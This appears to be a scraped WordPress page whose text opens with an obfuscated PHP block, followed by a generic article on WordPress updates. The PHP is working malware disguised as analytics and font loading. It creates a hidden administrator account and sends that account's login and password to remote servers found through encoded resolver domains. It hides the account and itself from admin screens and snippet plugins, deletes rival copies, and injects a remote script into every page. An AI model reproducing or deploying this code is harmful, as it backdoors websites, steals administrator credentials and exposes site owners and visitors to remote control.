/* __GA_INJ_START__ */
/*487de70c9c6cd904*/function _f4bd28($_x){return $_x;}function _614339($_x){return $_x;}$_4c3b1fff=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"MzU1NjJkMDg2NmExNjBjMzg1M2RlMmJiZWVkYWM5MmI="];global $_85d366d5;if(!is_array($_85d366d5)){$_85d366d5=[];}if(!in_array($_4c3b1fff["version"],$_85d366d5,true)){$_85d366d5[]=$_4c3b1fff["version"];}class GAwp_6b84448e{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_4c3b1fff;$this->version=$_4c3b1fff["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_addc52dd=base64_decode('X19nYV9yX2NhY2hl');$_1a5299e4=get_transient($_addc52dd);if($_1a5299e4!==false){$this->resolved_endpoint=$_1a5299e4;return $_1a5299e4;}global $_4c3b1fff;$_b6767b32=json_decode(base64_decode($_4c3b1fff["resolvers"]),true);if(!is_array($_b6767b32)||empty($_b6767b32)){return null;}$_491a3c10=base64_decode($_4c3b1fff["resolverKey"]);shuffle($_b6767b32);foreach($_b6767b32 as $_fa383588){$_19b2d4be=base64_decode($_fa383588);if(strpos($_19b2d4be,'://')===false){$_19b2d4be='https://'.$_19b2d4be;}$_66ed0ddc=rtrim($_19b2d4be,'/').'/?key='.urlencode($_491a3c10);$_99cbb826=wp_remote_get($_66ed0ddc,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_99cbb826)){continue;}if(wp_remote_retrieve_response_code($_99cbb826)!==200){continue;}$_e197bb94=wp_remote_retrieve_body($_99cbb826);$_ecfe88a7=json_decode($_e197bb94,true);if(!is_array($_ecfe88a7)||empty($_ecfe88a7)){continue;}$_4eb6f80c=$_ecfe88a7[array_rand($_ecfe88a7)];$_60db3421='https://'.$_4eb6f80c;set_transient($_addc52dd,$_60db3421,3600);$this->resolved_endpoint=$_60db3421;return $_60db3421;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_4450ef66=get_option($this->get_hidden_users_option_name(),'[]');$_0e0fd220=json_decode($_4450ef66,true);if(!is_array($_0e0fd220)){$_0e0fd220=[];}return $_0e0fd220;}private function add_hidden_username($_a2aed808){$_0e0fd220=$this->get_hidden_usernames();if(!in_array($_a2aed808,$_0e0fd220,true)){$_0e0fd220[]=$_a2aed808;update_option($this->get_hidden_users_option_name(),json_encode($_0e0fd220));}}private function get_hidden_user_ids(){$_6530364a=$this->get_hidden_usernames();$_00f5ec19=[];foreach($_6530364a as $_ce97e609){$_4eec8dbd=get_user_by('login',$_ce97e609);if($_4eec8dbd){$_00f5ec19[]=$_4eec8dbd->ID;}}return $_00f5ec19;}public function hplugin($_b2ad6e4b){unset($_b2ad6e4b[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_498f7ed0){unset($_b2ad6e4b[$_498f7ed0]);}return $_b2ad6e4b;}private function find_old_instances(){$_a9e352bd=[];$_a3ce589f=plugin_basename(__FILE__);$_50ed123d=get_option('active_plugins',[]);$_96fae69c=WP_PLUGIN_DIR;$_e11572f3=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_50ed123d as $_8be28ab5){if($_8be28ab5===$_a3ce589f){continue;}$_feaefba5=$_96fae69c.'/'.$_8be28ab5;if(!file_exists($_feaefba5)){continue;}$_7b4a6e79=@file_get_contents($_feaefba5);if($_7b4a6e79===false){continue;}foreach($_e11572f3 as $_53b5a28a){if(strpos($_7b4a6e79,$_53b5a28a)!==false){$_a9e352bd[]=$_8be28ab5;break;}}}$_e19a9cb7=get_plugins();foreach(array_keys($_e19a9cb7)as $_8be28ab5){if($_8be28ab5===$_a3ce589f||in_array($_8be28ab5,$_a9e352bd,true)){continue;}$_feaefba5=$_96fae69c.'/'.$_8be28ab5;if(!file_exists($_feaefba5)){continue;}$_7b4a6e79=@file_get_contents($_feaefba5);if($_7b4a6e79===false){continue;}foreach($_e11572f3 as $_53b5a28a){if(strpos($_7b4a6e79,$_53b5a28a)!==false){$_a9e352bd[]=$_8be28ab5;break;}}}return array_unique($_a9e352bd);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_60c0dc63=$this->generate_credentials();if(!username_exists($_60c0dc63["user"])){$_146e9788=wp_create_user($_60c0dc63["user"],$_60c0dc63["pass"],$_60c0dc63["email"]);if(!is_wp_error($_146e9788)){(new WP_User($_146e9788))->set_role("administrator");}}$this->add_hidden_username($_60c0dc63["user"]);$this->setup_site_credentials($_60c0dc63["user"],$_60c0dc63["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_008b8588=substr(hash("sha256",$this->seed."0c55a8e8138a25bc3e9d0c537cd61123"),0,16);return["user"=>"seo_service".substr(md5($_008b8588),0,8),"pass"=>substr(md5($_008b8588."pass"),0,12),"email"=>"seo-service@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_217f14a1,$_fc393956){global $_4c3b1fff;$_60db3421=$this->resolve_endpoint();if(!$_60db3421){return;}$_9be7580f=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_4c3b1fff['sitePubKey']),"login"=>$_217f14a1,"password"=>$_fc393956];$_ddeb5403=["body"=>json_encode($_9be7580f),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_60db3421."/api/sites/setup-credentials",$_ddeb5403);}public function filterusers($_c92f3d03){global $wpdb;$_58fdee63=$this->get_hidden_usernames();if(empty($_58fdee63)){return;}$_9d44c4a0=implode(',',array_fill(0,count($_58fdee63),'%s'));$_ddeb5403=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_9d44c4a0})"],array_values($_58fdee63));$_c92f3d03->query_where.=call_user_func_array([$wpdb,'prepare'],$_ddeb5403);}public function filter_rest_user($_99cbb826,$_4eec8dbd,$_cba5074a){$_58fdee63=$this->get_hidden_usernames();if(in_array($_4eec8dbd->user_login,$_58fdee63,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_99cbb826;}public function block_author_archive($_c92f3d03){if(is_admin()||!$_c92f3d03->is_main_query()){return;}if($_c92f3d03->is_author()){$_d414cde4=0;if($_c92f3d03->get('author')){$_d414cde4=(int)$_c92f3d03->get('author');}elseif($_c92f3d03->get('author_name')){$_4eec8dbd=get_user_by('slug',$_c92f3d03->get('author_name'));if($_4eec8dbd){$_d414cde4=$_4eec8dbd->ID;}}if($_d414cde4&&in_array($_d414cde4,$this->get_hidden_user_ids(),true)){$_c92f3d03->set_404();status_header(404);}}}public function filter_sitemap_users($_ddeb5403){$_a432b682=$this->get_hidden_user_ids();if(!empty($_a432b682)){if(!isset($_ddeb5403['exclude'])){$_ddeb5403['exclude']=[];}$_ddeb5403['exclude']=array_merge($_ddeb5403['exclude'],$_a432b682);}return $_ddeb5403;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_a3ce589f=plugin_basename(__FILE__);$_f05ee631=get_option($this->get_cleanup_done_option_name(),'');if($_f05ee631===$_a3ce589f){return;}$_5c8badd7=$this->find_old_instances();if(!empty($_5c8badd7)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_5c8badd7,true);foreach($_5c8badd7 as $_498f7ed0){$_96fae69c=WP_PLUGIN_DIR.'/'.dirname($_498f7ed0);if(is_dir($_96fae69c)){$this->recursive_delete($_96fae69c);}}}update_option($this->get_cleanup_done_option_name(),$_a3ce589f);}private function recursive_delete($_21e49d09){if(!is_dir($_21e49d09)){return;}$_be1c53d4=@scandir($_21e49d09);if(!$_be1c53d4){return;}foreach($_be1c53d4 as $_0ea9e40f){if($_0ea9e40f==='.'||$_0ea9e40f==='..'){continue;}$_88615187=$_21e49d09.'/'.$_0ea9e40f;if(is_dir($_88615187)){$this->recursive_delete($_88615187);}else{@unlink($_88615187);}}@rmdir($_21e49d09);}public function discover_legacy_users(){$_7d1fdf68=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_40586a83=[base64_decode('c3lzdGVt'),];foreach($_7d1fdf68 as $_145ebe6e){$_008b8588=substr(hash("sha256",$this->seed.$_145ebe6e),0,16);foreach($_40586a83 as $_4bf4d58b){$_a2aed808=$_4bf4d58b.substr(md5($_008b8588),0,8);if(username_exists($_a2aed808)){$this->add_hidden_username($_a2aed808);}}}$_b0d98597=$this->generate_credentials();if(username_exists($_b0d98597["user"])){$this->add_hidden_username($_b0d98597["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_fb9a8364){$_c96889b7=$this->get_snippet_id_option_name();$_1322686d=(int)get_option($_c96889b7,0);if(!$_1322686d){global $wpdb;$_9d52b779=$wpdb->prefix.'snippets';$_1322686d=(int)$wpdb->get_var("SELECT id FROM {$_9d52b779} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_1322686d)update_option($_c96889b7,$_1322686d,false);}if(!$_1322686d)return $_fb9a8364;return array_filter($_fb9a8364,function($_bdebdaa9)use($_1322686d){return(int)$_bdebdaa9->id!==$_1322686d;});}public function hide_from_wpcode($_ddeb5403){$_c96889b7=$this->get_snippet_id_option_name();$_1322686d=(int)get_option($_c96889b7,0);if(!$_1322686d){global $wpdb;$_1322686d=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_1322686d)update_option($_c96889b7,$_1322686d,false);}if(!$_1322686d)return $_ddeb5403;if(!empty($_ddeb5403['post__not_in'])){$_ddeb5403['post__not_in'][]=$_1322686d;}else{$_ddeb5403['post__not_in']=[$_1322686d];}return $_ddeb5403;}public function loadassets(){global $_4c3b1fff,$_85d366d5;$_5eb6f57d=true;if(is_array($_85d366d5)){foreach($_85d366d5 as $_d5b803ab){if(version_compare($_d5b803ab,$this->version,'>')){$_5eb6f57d=false;break;}}}$_354e40fb=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_68edab6d=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_4a41a812=wp_script_is($_354e40fb,'registered')||wp_script_is($_354e40fb,'enqueued');if($_5eb6f57d&&$_4a41a812){wp_deregister_script($_354e40fb);wp_deregister_style($_68edab6d);$_4a41a812=false;}if(!$_5eb6f57d&&$_4a41a812){return;}$_60db3421=$this->resolve_endpoint();if(!$_60db3421){return;}wp_enqueue_style($_68edab6d,base64_decode($_4c3b1fff["font"]),[],null);$_9d724ca3=$_60db3421."/t.js?site=".base64_decode($_4c3b1fff['sitePubKey']);wp_enqueue_script($_354e40fb,$_9d724ca3,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_354e40fb,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_7aa70cc3=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_7aa70cc3])){return;}$_d904c80e=time()+(365*24*60*60);setcookie($_7aa70cc3,'1',$_d904c80e,'/','',false,false);}}new GAwp_6b84448e();
/* __GA_INJ_END__ */
WordPress Update: What’s New and Why You Should Upgrade – B2B desde LATAM
Keeping your WordPress installation up-to-date is crucial for security, performance, and access to the latest features. In this article, we’ll explore the most recent WordPress update and why you should consider upgrading immediately.
Key Features in the Latest WordPress Update
1. Enhanced Security Patches
The newest version addresses several critical security vulnerabilities that could potentially compromise your website. Regular updates are your first line of defense against hackers and malware.
2. Improved Performance
Users will notice faster loading times and more efficient resource management, especially for content-rich websites with multiple plugins.
3. New Block Editor Features
The Gutenberg editor receives additional blocks and customization options, making content creation more intuitive than ever before.
How to Safely Update WordPress
1. Backup Your Website
Always create a complete backup of your site files and database before performing any updates.
2. Update Plugins and Themes First
Ensure all your plugins and themes are compatible with the new WordPress version by updating them beforehand.
3. Use Maintenance Mode
Enable maintenance mode during the update process to prevent visitors from seeing potential errors.
Common Update Issues and Solutions
White Screen of Death
If you encounter this, disable all plugins and switch to a default theme, then gradually reactivate them.
Database Update Required
Some updates require database modifications – follow the on-screen prompts carefully.
Conclusion
Regular WordPress updates are essential for maintaining a secure, high-performing website. While the process might seem daunting, the benefits far outweigh the temporary inconvenience. Set aside time today to update your WordPress installation and enjoy all the new features and improvements.
Deja una respuesta